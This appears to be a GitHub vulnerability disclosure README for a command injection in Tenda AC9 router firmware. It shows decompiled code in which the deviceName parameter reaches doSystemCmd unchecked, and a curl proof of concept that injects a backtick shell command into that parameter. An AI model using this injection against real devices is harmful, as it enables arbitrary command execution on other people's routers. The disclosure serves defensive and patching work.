

 n0wstr submit

9b362c0 · 3 weeks ago

Name	Name	Last commit da...
..		
img	submit	3 weeks ago
readme.md	submit	3 weeks ago

readme.md

Tenda AC9 command injection

Overview

- Vendor: Tenda
- Product: Tenda AC9
- Version: V15.03.06.42_multi
- Manufacturer's address : <https://www.tendacn.com/>
- Firmware download address : https://static.tenda.com.cn/tdcweb/download/uploadfile/AC9/US_AC9V3.0RTL_V15.03.06.42_multi_TD01.zip

Vulnerability details

Tenda AC9 V15.03.06.42_multi was found to contain a command injection vulnerability in the formsetUsbUnload function via the deviceName parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.

```

154 websFormDefine("GetPrinterCfg", (void (*)(webs_t, char_t *, char_t *))formGetUsbPrint);
155 websFormDefine("SetSambaCfg", (void (*)(webs_t, char_t *, char_t *))formSetSambaConf);
156 websFormDefine("GetSambaCfg", (void (*)(webs_t, char_t *, char_t *))formGetSambaConf);
157 websFormDefine("setUsbUnload", (void (*)(webs_t, char_t *, char_t *))formsetUsbUnload);
158 websFormDefine("GetUsbCfg", (void (*)(webs_t, char_t *, char_t *))formGetUsbCfg);

```

```

1 void __cdecl formsetUsbUnload(webs_t wp, char_t *path, char_t *query)
2 {
3     char *usb_name; // [sp+18h] [+18h]
4
5     usb_name = websGetVar(wp, "deviceName", byte_520318);
6     doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, usb_name);
7     websWrite(wp, "HTTP/1.0 200 OK\r\n\r\n");
8     websWrite(wp, "{\"errCode\":0}");
9     websDone(wp, 200);
10 }

```

PoC

curl http://192.168.0.1/goform/setUsbUnload?deviceName=`touch%20/tmp/3.txt`



{"errCode":0}

